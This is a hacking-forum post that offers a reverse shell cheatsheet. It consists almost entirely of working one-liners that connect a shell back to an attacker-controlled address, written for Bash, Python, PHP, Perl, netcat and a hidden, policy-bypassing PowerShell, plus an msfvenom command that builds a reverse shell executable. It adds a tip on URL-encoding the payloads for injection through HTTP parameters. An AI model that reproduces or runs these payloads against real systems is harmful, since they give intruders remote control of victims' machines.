🐚 Reverse Shell Cheatsheet - One-Liners for Every Language

Blacksec

Administrator
Staff member
πŸ’» REVERSE SHELL CHEATSHEET πŸ’»



One-liner reverse shells for every common environment. Keep this handy.



🐧 Linux:

Bash:
Code:
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

Python:
Code:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

PHP:
Code:
php -r '$s=fsockopen("YOUR_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl:
Code:
perl -e 'use Socket;$i="YOUR_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Netcat:
Code:
nc -e /bin/sh YOUR_IP 4444



πŸͺŸ Windows:

PowerShell:
Code:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$st=([text.encoding]::ASCII).GetBytes('PS> ' + (& $d) + '> ');$s.Write($st,0,$st.Length)}$s.Close()"

MSFVenom:
Code:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o shell.exe



πŸ’‘ Pro Tip: Always URL-encode these if injecting via HTTP parameters. Python's requests library will save you hours.

Save this thread β€” comes in handy more than you think
 
Top